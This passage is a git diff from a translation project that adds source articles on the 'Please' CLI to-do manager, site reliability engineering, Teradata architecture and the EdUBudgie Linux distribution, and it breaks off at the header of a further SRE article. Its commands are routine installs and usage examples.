To-do Lists With 'Please' From Command Line In Linux + +A while ago, we reviewed **["Taskwarrior"][1]**, a command line task manager to manage your to-do tasks right from the Terminal window. Today I stumbled upon yet another simple **command line Todo manager** called **"Please"**. Yes, the name is Please!. + +Please is an opensource, CLI application written in **Python** programming language. Using Please, we can manage our personal tasks and to-do list without leaving the terminal. + +Whenever you open a terminal window, Please will show you the current date and time, an inspirational quote and the list of personal to-do tasks in the Terminal. + +Please is very lightweight and convenient CLI task manager for those who use terminal extensively in their daily life. + +### Install Please In Linux + +Since Please is written in Python, you can **install Please** using **PiP** package manager. If you haven't installed PiP on your Linux machine yet, refer to the following link. + +* [How To Manage Python Packages Using PIP][2] + +To install Please using PiP, simply run: + +``` +$ pip install please-cli +``` + +Or, + +``` +$ pip3 install please-cli +``` + +To run Please every time you open a new Terminal window, add the line 'please' to your `.bashrc` file. + +``` +$ echo 'please' >> ~/.bashrc +``` + +If you use ZSH shell, run: + +``` +$ echo 'please' >> ~/.zshrc +``` + +Please note that the above step is optional. You don't have to add it to your shell config file. However If you do the above step, you will immediately see your pending tasks and to-do list whenever you open a Terminal. + +If you don't add it, you won't see them and you may forgot them after a while. So make sure you've added it to your `.bashrc` or `.zshrc` file. + +Restart the current session to take effect the changes. Alternatively, source the `.bashrc` file to take effect the changes immediately. + +``` +$ source ~/.bashrc +``` + +You will be asked to set a name at first launch. It is usually the hostname of your system. You can also use any other name of your choice. + +``` +Hello! What can I call you?: ostechnix +``` + +You can change your name later by running the following command: + +``` +$ please callme +``` + +### Manage Tasks And To-do Lists With Please From Command Line + +The **usage of 'Please'** is very simple! + +Just run 'please' to show the current date and time, an inspirational quote and the list of tasks if there are any. + +``` +$ please +``` + +**Sample Output:** + +``` +─────── Hello ostechnix! It's 20 Jun | 11:59 AM ─────── + "Action is eloquence!" + - William Shakespeare + + Looking good, no pending tasks 😁 +``` + +![Run Please Todo Manager][3] + +As you can see, there are no todo tasks yet. Let us add some. + +#### Adding New Tasks + +To add a new task, run: + +``` +$ please add "" +``` + +Example: + +``` +$ please add "Publish a post about Please" +``` + +Replace the task name within the quotes with your own. + +**Sample Output:** + +``` +Added "Publish a post about Please" to the list + Tasks +┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┓ +┃ Number ┃ Task ┃ Status ┃ +┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━┩ +│ 1 │ Publish a post about Please │ ❌ │ +└────────┴─────────────────────────────┴────────┘ +``` + +Similarly, you can add any number of tasks. I have added the following 3 tasks for demonstration purpose. + +``` +Added "Setup Nginx In Ubuntu" to the list + Tasks +┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┓ +┃ Number ┃ Task ┃ Status ┃ +┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━┩ +│ 1 │ Publish a post about Please │ ❌ │ +│ 2 │ Update Ubuntu VM │ ❌ │ +│ 3 │ Setup Nginx In Ubuntu │ ❌ │ +└────────┴─────────────────────────────┴────────┘ +``` + +![Add Tasks Using Please][4] + +#### Show Tasks + +To view the list of all tasks, run: + +``` +$ please showtasks +``` + +**Sample Output:** + +``` + Tasks +┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┓ +┃ Number ┃ Task ┃ Status ┃ +┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━┩ +│ 1 │ Publish a post about Please │ ❌ │ +│ 2 │ Update Ubuntu VM │ ❌ │ +│ 3 │ Setup Nginx In Ubuntu │ ❌ │ +└────────┴─────────────────────────────┴────────┘ +``` + +![Show All Tasks][5] + +As you see in the above output, I have 3 unfinished tasks. + +#### Mark Tasks As Done Or Undone + +Once you complete a task, you can **mark it as done** by specifying the task number as show in the command below. + +$ please done "" + +Example: + +``` +$ please done 1 +``` + +This command will mark the **Job 1** as completed. + +**Sample Output:** + +``` +Updated Task List + Tasks +┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┓ +┃ Number ┃ Task ┃ Status ┃ +┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━┩ +│ 1 │ Publish a post about Please │ ✅ │ +│ 2 │ Update Ubuntu VM │ ❌ │ +│ 3 │ Setup Nginx In Ubuntu │ ❌ │ +└────────┴─────────────────────────────┴────────┘ +``` + +![Mark Tasks As Done][6] + +As you see in the above output, the completed job is marked with a **green** **tick mark**and the non-completed tasks are marked with **a red cross**. + +Similarly, to undo the changes i.e. **mark the jobs as undone**, run: + +``` +$ please undone 1 +``` + +![Mark Tasks As Undone][7] + +#### Remove Tasks + +To delete a task from the list, the command would be: + +$ please delete "" + +Example: + +$ please delete 1 + +This command will **delete the specified task**. + +**Sample Output:** + +``` +Deleted 'Publish a post about Please' + Tasks + ┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┓ + ┃ Number ┃ Task ┃ Status ┃ + ┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━┩ + │ 1 │ Update Ubuntu VM │ ❌ │ + │ 2 │ Setup Nginx In Ubuntu │ ❌ │ + └────────┴───────────────────────┴────────┘ +``` + +![Delete Tasks][8] + +Please note that this command will delete the given task whether it is completed or not. It is not even will show you a warning message. So double check if you delete a correct task. + +#### Reset + +To reset all settings and task, run: + +``` +$ please setup +``` + +You will be prompted to set a name. + +**Sample Output:** + +``` +Hello! What can I call you?: ostechnix + + Thanks for letting me know your name! +If you wanna change your name later, please use: +┌────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐ +│ please callme │ +└────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ +``` + +![Reset Please][9] + +### Uninstall Please + +'Please' didn't please you? No problem! You can remove it using command: + +``` +$ pip uninstall please-cli +``` + +Or, + +``` +$ pip3 uninstall please-cli +``` + +And then edit your `.bashrc` or `.zshrc` file and remove the line that says **please** at the end of the file. + +### Conclusion + +I briefly tried 'Please' on my Ubuntu VM and I already started liking its simplicity and efficiency. If you're looking for an easy-to-use CLI task manager for managing your tasks, please try "Please". You will be pleased! + +**Resource:** + +* [Please GitHub Repository][10] + +*Featured Image by Pixabay.* + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/please-command-line-todo-manager/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/taskwarrior-command-line-todo-task-manager-application/ +[2]: https://ostechnix.com/manage-python-packages-using-pip/ +[3]: https://ostechnix.com/wp-content/uploads/2022/06/Run-Please-Todo-Manager.png +[4]: https://ostechnix.com/wp-content/uploads/2022/06/Add-Tasks-Using-Please.png +[5]: https://ostechnix.com/wp-content/uploads/2022/06/Show-All-Tasks.png +[6]: https://ostechnix.com/wp-content/uploads/2022/06/Mark-Tasks-As-Done.png +[7]: https://ostechnix.com/wp-content/uploads/2022/06/Mark-Tasks-As-Undone.png +[8]: https://ostechnix.com/wp-content/uploads/2022/06/Delete-Tasks.png +[9]: https://ostechnix.com/wp-content/uploads/2022/06/Reset-Please.png +[10]: https://github.com/NayamAmarshe/please diff --git a/sources/tech/20220620 What you need to know about site reliability engineering.md b/sources/tech/20220620 What you need to know about site reliability engineering.md new file mode 100644 index 0000000000..7f3fd4aab8 --- /dev/null +++ b/sources/tech/20220620 What you need to know about site reliability engineering.md @@ -0,0 +1,116 @@ +[#]: subject: "What you need to know about site reliability engineering" +[#]: via: "https://opensource.com/article/22/6/introduction-site-reliability-engineering" +[#]: author: "Robert Kimani https://opensource.com/users/robert-charles" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What you need to know about site reliability engineering +====== +Understand the basics and best practices for establishing and maintaining an SRE program in your organization. + +![Working on a team, busy worklife][1] + +Image by: opensource.com + +What is site reliability engineering? The creator of the first site reliability engineering (SRE) program, [Benjamin Treynor Sloss][2] at Google, described it this way: + +> Site reliability engineering is what happens when you ask a software engineer to design an operations team. + +What does that mean? Unlike traditional system administrators, site reliability engineers (SREs) apply solid software engineering principles to their day-to-day work. For laypeople, a clearer definition might be: + +> Site reliability engineering is the discipline of building and supporting modern production systems at scale. + +SREs are responsible for maximizing reliability, performance availability, latency, efficiency, monitoring, emergency response, change management, release planning, and capacity planning for both infrastructure and software. As applications and infrastructure grow more complex, SRE teams help ensure that these systems can evolve. + +### What does an SRE organization do? + +There are four primary responsibilities of an SRE organization: + +* Availability: SREs are responsible for the availability of the services they support. After all, if services are not available, end users' work is disrupted, which can cause serious damage to your organization's credibility. +* Performance: A service needs to be not only available but also highly performant. For example, how useful is a website that takes 20 seconds to move from one page to another? +* Incident management: SREs manage the response to unplanned disruptions that impact customers, such as outages, service degradation, or interruptions to business operations. +* Monitoring: A foundational requirement for every SRE, monitoring involves collecting, processing, aggregating, and displaying real-time quantitative data about a system. This could include query counts and types, error counts and types, processing times, and server lifetimes. + +Occasionally, release and capacity planning are also the responsibility of the SRE organization. + +### How do SREs maintain site reliability? + +The SRE role is a diverse one, with many responsibilities. An SRE must be able to identify an issue quickly, troubleshoot, and mitigate it with minimal disruption to operations. + +Here's a partial list of the tasks a typical SRE undertakes: + +* Writing code: An SRE is required to solve problems using software, whether they are a software engineer with an operations background or a system engineer with a development background. +* Being on call: This is not the most attractive part of being an SRE, but it is essential. +* Leading a war room: SREs facilitate discussions of strategy and execution during incident management. +* Performing postmortems: This is an excellent tool to learn from an incident and identify processes that can be put in place to avoid future incidents. +* Automating: SREs tend to get bored with manual steps. Automation not only saves time but reduces failures due to human errors. Spending some time on engineering by automating tasks can have a strong return on investment. +* Implement best practices: SREs are well versed with distributed systems and web-scale architectures. They apply best practices in several areas of service management. + +### Designing an effective on-call system + +An on-call management system streamlines the process of adding members of the SRE team into after-hours or weekend call schedules, assigning them equitable responsibility for managing alerts outside of traditional work hours or on holidays. In some cases, an organization might designate on-call SREs around the clock. + +In the medical profession, on-call doctors don't have to be on site, but they do have to be prepared to show up and deal with emergencies anytime during their on-call shift. SRE professionals likewise use on-call schedules to make sure that someone's always there to respond to major bugs, capacity issues, or product downtime. If they can't fix the problem on their own, they're also responsible for escalating the issue. For SRE teams who run services for which customers expect 24/7/365, 99.999% uptime and availability, on-call staffing is especially critical. + +There are two main kinds of [on-call design structures][4] that can be used when designing an on-call system, and they focus on domain expertise and ownership of a given service: + +* Single-team ownership model +* Shared ownership model + +In most cases, single-team ownership will be the better model. + +The on-call SRE has multiple duties: + +* Protecting production systems: The SRE on call serves as a guardian to all production services they are required to support. +* Responding to emergencies within acceptable time: Your organization may choose to have a service-level objective (SLO) for SRE response time. In most cases, anywhere between 5 to 15 minutes would be an acceptable response time. Automated monitoring and alerting solutions also empower SREs to respond immediately to any interruptions to service availability. +* Involving team members and escalating issues: The on-call SRE is responsible for identifying and calling in the right team members to address specific problems. +* Tackling non-emergent issues: In some organizations, a secondary on-call engineer is scheduled to handle non-emergencies, like email alerts. +* Writing postmortems: As noted above, a good postmortem is a valuable tool for documenting and learning from significant incidents. + +### 3 key tenets of an effective on-call management system + +#### A focus on engineering + +SREs should be spending more time designing solutions than applying band-aids. A general guideline is for SREs to spend 50% of their time in engineering work, such as writing code and automating tasks. When an SRE is on-call, time should be split between about 25% of time managing incidents and 25% on operations duty. + +#### Balanced workload + +Being on call can quickly burn out an engineer if there are too many tickets to handle. If well-coordinated multi-region support is possible, such as a US-based team and an Asia-Pacific team, that arrangement can help limit the detrimental health effects of repeated night shifts. Otherwise, having six to eight SREs per site will help avoid exhaustion. At the same time, make sure all SREs are getting a turn being on call at least once or twice a quarter to avoid getting out of touch with production systems. Fair compensation for on-call work during overnights or holidays, such as additional hours off or cash awards, will also help SREs feel that their extra effort is appreciated. + +#### Positive and safe environment + +Clearly defined escalation and blameless postmortem procedures are absolutely necessary for SREs to be effective and productive. Established protocols are central to a robust incident management system. Postmortems must focus on root causes and prevention rather than individual and team actions. If you don't have a clear postmortem procedure in your organization, it is wise to start one immediately. + +### SRE best practices + +This article covered some SRE basics and best practices for establishing and running an SRE on-call management system. + +In future articles, I will look at other categories of best practices for SRE, the technologies involved, and the processes to support those technologies. By the end of this series, you'll know how to implement SRE best practices for designing, implementing, and supporting production systems. + +### More resources + +* [Availability Calculator][5] +* [Error Budget Calculator][6] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/introduction-site-reliability-engineering + +作者:[Robert Kimani][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/robert-charles +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/team_dev_email_chat_video_work_wfm_desk_520.png +[2]: https://sre.google/sre-book/introduction/ +[3]: https://enterprisersproject.com/article/2022/2/8-reasons-site-reliability-engineer-one-most-demand-jobs-2022 +[4]: https://alexwitherspoon.com/publications/on-call-design/ +[5]: https://availability.sre.xyz/ +[6]: https://dastergon.gr/error-budget-calculator/ diff --git a/sources/tech/20220621 An Introduction to Teradata.md b/sources/tech/20220621 An Introduction to Teradata.md new file mode 100644 index 0000000000..c76718ee1e --- /dev/null +++ b/sources/tech/20220621 An Introduction to Teradata.md @@ -0,0 +1,99 @@ +[#]: subject: "An Introduction to Teradata" +[#]: via: "https://www.opensourceforu.com/2022/06/an-introduction-to-teradata/" +[#]: author: "Saurabh Kumar https://www.opensourceforu.com/author/saurabh-kumar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +An Introduction to Teradata +====== +Teradata is one of the most popular relational database management systems (RDBMS) appropriate for huge data warehousing applications. It is highly scalable and capable of handling large volumes of data. This article provides a basic understanding of Teradata architecture, and the types of spaces and tables it has. + +![an-introduction-of-teradata-featured-image][1] + +As per official Teradata documentation: “Teradata database is a massively parallel analytics engine that can help businesses achieve breakthrough results across all industries. Whether companies need to improve profitability, mitigate risks, innovate products, enhance the customer experience, or achieve other objectives, analytics paves the way to success.” + +### Teradata architecture + +**Node:** This is an essential building block of the Teradata database system and is made up of hardware and software components. A server can also be considered as a node. + +*PE (parsing engine):* This is a type of vproc (virtual processor) for session control, task dispatching and SQL parsing in the multi-tasking and possibly parallel-processing environment of the Teradata database. Vproc is a software process running in an SMP (symmetric multiprocessing) environment or a node. The vproc or the access module processor (AMP) are responsible for storing and retrieving data. + +The different components of a parsing engine are listed below. + +* Parser: This decomposes SQL queries into relational data management processing steps. +* Query optimizer: This determines the most efficient path to access data. +* Step generator: This produces processing steps and encapsulates them into packages. +* Dispatcher: This transmits the encapsulated steps from the parser to the relevant AMPs, and performs monitoring and error-handling functionalities during step processing. +* Session controller: This manipulates session-control activities (e.g., log on, log off and authentication) and restores a session only after client or server failures. + +*Message passing layer:* This is also called BYNET (Banyan network), and is the networking layer in the Teradata system. It allows interaction between PE and AMP, and also between the nodes. It receives the execution plan from the PE and sends it to AMP. Similarly, it receives the outputs from the AMP and sends them to PE. In the Teradata system, there are always two BYNET systems. These are called BYNET 0 and BYNET 1. But this is generally referred to as a single BYNET system. If one BYNET fails, the second one takes its place. But when data is large, both BYNETs can be made functional, which enhances the communication between PE and AMPs. + +*Disk:* This component organises and stores the data while performing data manipulation activities. Teradata database employs redundant array of independent disks (RAID) storage technology to provide data security at the disk level. When AMPs are associated with disks, it is called Vdisks (virtual disks). + +> Note: Each AMP is allowed to read and write on its own disk only. That is why it is also called shared-nothing architecture. + +Teradata acts as a single data store that receives a large number of concurrent requests from various client applications. It is defined as an information repository supported by tools and utilities that make it, as part of Teradata Warehouse, a complete and active RDBMS. + +### Types of spaces in Teradata + +*Permanent space:* This is the maximum amount of space allocated to the user/database to hold data rows. It is used for database objects (like permanent tables, indexes, etc) creation, and to hold their data. The total permanent space is divided among the total number of AMPs. Whenever the per AMP limit exceeds the allocated space of AMP, a ‘No more room in database’ error is generated. Permanent tables, journals, fallback tables, and secondary index sub-tables use permanent space. All databases have a predefined upper limit of permanent space. Teradata doesn’t physically preallocate permanent space for databases and users when they are defined during object definition time. + +![Figure 1: Teradata architecture][2] + +*Spool space:* This is the unused permanent space that is used by the system to keep the intermediate results of the SQL query. Once the query is complete, the spool space is released. The volatile tables use the spool space. Users without spool space can’t execute any query. Data is active up to the current session only. It is divided among the number of AMPs. Whenever the per AMP limit exceeds the allocated space, the user will get a spool space error. + +*Temporary space:* This is the unused permanent space used by global temporary tables (GTT). It is divided by the number of AMPs. Data is active up to the current session only. It is reserved prior to spool space for any user defined operations. Temp space is allocated at the database level or user level, but not at the table level. This is the amount of space used for GTT, and these results remain available to the user until the session is terminated. +Tables created in temp space will survive a restart. A query example is given below: + +``` +CREATE DATABASE new_db FROM existing_db +AS PERMANENT = 2000000, SPOOL = 5000000, TEMP = 2000000; +``` + +A new database must be created from an existing database. + +Permanent space can be used for tables in the database. Spool space is allocated for the maximum amount of workspace available for requests. Temp space is allocated for temp tables in the database. + +### Types of tables in Teradata + +**Permanent tables:** These remain in the system until they are dropped. The table definition is stored in the data dictionary. Data and structure can be shared across multiple sessions and users. Data is stored in the permanent space, and ‘collect statistics’ is supported. Indexes can be created. COMPRESS columns, as well as DEFAULT and TITLE clauses are supported. Partition primary index (PPI) is also supported. If the primary index clause is not defined in the ‘Create table’ statement, then Teradata will create the first column as primary by default. + +*Global temporary tables (GTT):* This is a kind of temporary table. The table definition is stored in the data dictionary. It requires a minimum of 512 bytes from the permanent space to store table definitions in the data dictionary. The structure can be shared across multiple users but data will remain private to the session (and its user). Data is stored in the temporary space. Data will be purged for that session once the session ends. ‘Collect statistics’ is supported. Indexes can be created. COMPRESS columns, as well as DEFAULT and TITLE clauses are supported. PPI is also supported. + +This table can be identified from the data dictionary table (dbc.tables) using the ‘CommitOpt’ column. If its value is ‘D’ (on commit Delete rows) or ‘P’ (on commit Preserve rows), then it’s a GTT. If the primary index clause is not specified while creating the table, then Teradata will create the first column as primary by default. One session can generate up to 2000 global temporary tables at a time. + +*Volatile tables:* These are created in the spool space for temporary use, and their life span extends for the duration of the session only. The table definition is not stored in the data dictionary. Structure and data is private to the session and its user. Data is stored in the spool space. The table gets dropped once the session ends, i.e., when ‘login again…no volatile tables’ shows up. ‘Collect statistics’ is supported. Indexes cannot be created. The COMPRESS column is supported, but the DEFAULT and TITLE clauses are not supported. PPI is supported. If the primary index clause is not specified while creating the table, then Teradata will create the first column as primary by default. + +``` +ON COMIT DELETE ROWS (Default) +ON COMIT PRESERVE ROWS (If we want to retain rows) +``` + +*Derived tables:* This temporary table is derived from one or more other tables as the result of a sub-query. Derived tables are local to the query and exist only for the duration of the query. The table is automatically deleted once the query is done. Data is stored in the spool space. Table definition is not stored in the data dictionary. The first column in a derived table acts like a PI column for it. + +### Properties of Teradata tables + +* Fallback: This protects data by storing a second copy of each row of a table on a different AMP in the same cluster. If an AMP fails, the system accesses the fallback rows to meet requests. +* Journals: BEFORE JOURNAL holds the image of impacted rows before any changes are made. AFTER JOURNAL holds the image of affected rows after changes are done. In DUAL BEFORE/AFTER JOURNAL, two images are taken and are stored in two separate AMPs. +* Checksum: This detects some forms of lost writes. A lost write is a write of a file system block that received successful status on completion, but the write either never actually occurred or was written to an incorrect location. As a result, subsequent reads of the same block return the old data. NONE, LOW, MEDIUM, and HIGH levels are available in the checksum. + +Teradata is a powerful RDBMS and can help in transforming how businesses work. We have just discussed its basics in this article and a lot still needs to be unearthed. We hope you find this basic information useful to explore the features and capabilities of Teradata further. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/an-introduction-to-teradata/ + +作者:[Saurabh Kumar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/saurabh-kumar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/an-introduction-of-teradata-featured-image.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Teradata-Architecture.jpg diff --git a/sources/tech/20220621 EdUBudgie Linux- Ubuntu Spin with Budgie Desktop for Students, Teachers.md b/sources/tech/20220621 EdUBudgie Linux- Ubuntu Spin with Budgie Desktop for Students, Teachers.md new file mode 100644 index 0000000000..f86fff770d --- /dev/null +++ b/sources/tech/20220621 EdUBudgie Linux- Ubuntu Spin with Budgie Desktop for Students, Teachers.md @@ -0,0 +1,178 @@ +[#]: subject: "EdUBudgie Linux: Ubuntu Spin with Budgie Desktop for Students, Teachers" +[#]: via: "https://www.debugpoint.com/2022/06/edubudgie-linux-22-04/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +EdUBudgie Linux: Ubuntu Spin with Budgie Desktop for Students, Teachers +====== +EduBudgie is a new Ubuntu LTS flavour featuring the stunning Budgie desktop. We will give you a tour. + +![EdUBudgie Linux 22.04 Budgie Desktop][1] + +A Linux Hobbyist and educator ([Adam Dix][2]) announced that a new Budgie desktop Ubuntu spin is now available. The current version is based on the recently released Ubuntu 22.04 LTS “Jammy Jellyfish” and Budgie Desktop 10.6. + +### Why another distro? + +As per the creator of this distribution, the primary goal is to give an out-of-the-box experience with FOSS operating system, especially for the underprivileged education sector. How? Firstly, the distro pre-loads most of the new required educational software in its ISO image. Secondly, EduBudgie focuses on running in Chromebooks if needed. Because, as per the Google educational initiatives, millions of well-made Chromebooks are still out there. And EduBudgie can be installed easily on those hardware (either dual boot or a fresh install). And this will make the Chromebooks usable for the underfunded schools worldwide. + +Besides, there are not many Educational Linux Linux distros out there. Hence, this distro aims to save time and cost for schools and university administrations by installing additional packages, solving dependencies, etc. + +### EdUBudgie Linux 22.04 Review + +#### Installation + +The latest ISO image size of EdUBudgie Linux is 5.7 GB which is relatively higher. The primary reason is that many apps are pre-loaded into the ISO to help educators. + +The installer is Ubuntu’s Ubiquity installer for EdUBudgie, and installation takes around 5 minutes with basic packages. There were no errors or problems during installation during our quick test. + +However, this distro requires a minimum of ~32 GB of disk space on the root partition for installation. It is a hard requirement for installation. + +![EdUBudgie requirement on disk space][3] + +#### First Look + +Budgie desktop looks sleek and beautiful by itself. The primary taskbar cum system tray is at the top. The main application menu is at the left of the top bar. In the middle, you get the fixed app shortcuts which act as a Dock. The system tray is on the right side of the bar. + +The application menu is your traditional “Budgie app menu” and looks nice and clean. + +Moreover, it has a GRID view and a search and list view. Also, the power options are present inside the App menu itself. + +![App Menu Grid View][4] + +![App Menu List View][5] + +The overall look perfectly balances a professional and not too fancy look. It uses the chromeos-compact GTK2 theme with the win10 icon pack. + +#### Applications + +Let me give you a basic example. The application stack of EdUBudgie Linux is well-curated. It’s a mix of GNOME apps, Mint apps and Budgie. An essential app is a Calculator for a student. So, the EdUBudie brings the excellent Qalculate advanced calculator for the need. As you can see, much thought went into curating pre-loaded apps. + +Let’s have a quick recap of the apps by their categories. + +##### Accessories and Educational Apps + +Firstly, in the Accessories section, you get the Nemo file manager (from Linux Mint). Perhaps Nemo is the second-best File manager after Dolphin if you compare the features. Hence, it’s a good choice. + +In addition, it brings the new GNOME Screenshot tool, new [Gnome Text Editor][6], a To-Do List and Break Timer to remind you to take breaks during your study sessions. + +Secondly, the main Educational applications are chosen to cater to different classes of students. Here’s a list: + +* gbrainy: A educational quiz, games that feature math and other subjects to keep your mind active +* GeoGebra: Famous open-source program to plot complex mathematical graphs. +* Kig: An interactive Geometry application which makes you think about your ideas. This is one of the best [KDE apps][7] out there. +* KWordQuiz: Improve your English language vocabulary using this excellent app. +* OpenBoard: A necessary tool for taking notes, and rough drawing and perhaps one of the [best whiteboard app][8]s. +* Scratch: A click-and-point programmable animation program developed by MIT for junior students. It helps to learn about the basics of logic and flows in programming. + +The impressive list, isn’t it? + +Here are some of the images of the above apps for your reference. + +![Scratch][9] + +![Kig][10] + +![GeoGebra][11] + +![gbrainy][12] + +Let’s talk about the Science and Programming applications. + +##### Science and Programming + +The programming applications include Geany and Visual Studio Code Editor, an excellent choice as IDE for development. In addition, it contains the following applications for various needs. + +* BASIC-256: A program to learn BASIC for young students +* KAlgebra: Math expression solver and graph plotter +* Kalzium: View and understand the Chemical periodic table of elements +* KGeography: View the maps of continents and countries +* KiCad App Suite: CAD drawing +* LibreCAD: Free CAD Drawing app + +##### Office and Graphics Apps + +Office-suite is an important aspect of any educational operating system. EduBUdgie brings the WPS Office as a default office program for documents, spreadsheets and presentations. This is an interesting choice over LibreOffice. + +In addition, you can use Calibre e-book management and Wondershare EdrawMind for diagrams and flowcharts. However, Wondershare EdrawMind is not open-source and comes with limited features. You can use free and open-source Dia, which is also pre-loaded. + +The Graphics suite of apps includes all famous open-source apps. A quick list is presented below. + +* Blender 3D Drawing +* Darktable RAW Photo manager +* GIMP for raster image processing +* Inkscape for Vector Image +* Krita +* Scribus + +Finally, EdUBudgie uses Geary email client, Google Chrome default web browser and Tilix terminal. + +##### Remote Communication + +Finally, look at the essential apps needed in today’s world. Due to the Pandemic, the schools and universities also conduct classes online. Furthermore, in-person communication is problematic for various reasons for students. With that in mind, EdUBudgie brings communication apps for everyone. + +Firstly, the famous Zoom client is pre-installed, which helps you to participate in video conferences and meetings. Secondly, Skype and Microsoft Teams Linux clients are installed to join discussions on Microsoft networks. Besides that, Rambox brings a super-productivity boost to your study where you can create workspaces with multiple apps such as mails, messenger, Slack, etc. + +![EdUBudgie Brings well-curated Communication Apps for Linux][13] + +##### A mix of backend tech + +As you can see from the above list of applications, the apps are chosen from different distros. It consists of KDE Plasma, Linux Mint, GNOME and other tech-based apps. Hence, all the backend packages such as Qt, Java (OpenJDK), and GTK4 are well tested and punched into the ISO. This is a significant feat by itself. + +#### Performance + +You may be wondering about performance because there are so many applications. Well, with a significant workload which includes multiple heavy apps (Teams, Skype etc.) running simultaneously, it consumes around 62% of your available RAM (i.e. 2.4 GB of 4 GB RAM). Also, the CPU is at 20% on average. + +It is an excellent performance metric considering all the apps and their memory footprint. The Budgie desktop itself is well optimized and contributes to this performance. + +In addition, the idle state performance is also good, i.e. 1 GB of memory and CPU is within 5%. The idle state resources used by X.Org, lightdm and systemd. + +Finally, EdUBudgie Linux uses 19 GB of disk space for its base installation. + +![EdUBudgie Linux Performance (average workload)][14] + +![EdUBudgie Linux Performance (idle)][15] + +### Closing Notes + +I am impressed by this distribution on how it is well designed and focused on only one purpose. Not to mention the super-fast performance of the Budgie desktop itself. Also, thanks to the mix of GTK4, Budgie desktop components and icon themes, it looks professional. + +Moreover, the stability, performance and long-term support (via Ubuntu LTS) are just add-ons to the excellent list of features. You can use this distribution for your daily driver, making it more appealing even if you are not a student. + +You can download EdUBudgie Linux at their [official website][16]. + +That said, I hope you find this review helpful and don’t forget to check out our other [reviews here][17]. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/edubudgie-linux-22-04/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/06/EdUBudgie-Linux-22.04-Budgie-Desktop.jpg +[2]: https://www.linkedin.com/in/adam-dix-0339358/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/EdUBudgie-requirement-on-disk-space.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/App-Menu-Grid-View.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/App-Menu-List-View.jpg +[6]: https://www.debugpoint.com/2021/12/gnome-text-editor/ +[7]: https://www.debugpoint.com/tag/kde-apps/ +[8]: https://www.debugpoint.com/2022/02/top-whiteboard-applications-linux/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/06/Scratch.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/06/Kig.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/06/GeoGebra.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/06/gbrainy.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/06/EdUBudgie-Brings-well-curated-Communication-Apps-for-Linux.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/06/EdUBudgie-Linux-Performance-average-workload.jpg +[15]: https://www.debugpoint.com/wp-content/uploads/2022/06/EdUBudgie-Linux-Performance-idle.jpg +[16]: https://www.edubudgie.com/download +[17]: https://www.debugpoint.com/tag/linux-distro-review diff --git a/sources/tech/20220621 How SREs can achieve effective incident response.md b/sources/tech/20220621 How SREs can achieve effective incident response.md new file mode 100644 index 0000000000..923e3cd457 --- /dev/null +++ b/sources/tech/20220621 How SREs can achieve effective incident response.md @@ -0,0 +1,176 @@ +[#]: subject: "How SREs can achieve effective incident response" +[#]: via: "https://opensource.com/article/22/6/effective-incident-response-site-reliability-engineers" +[#]: author: 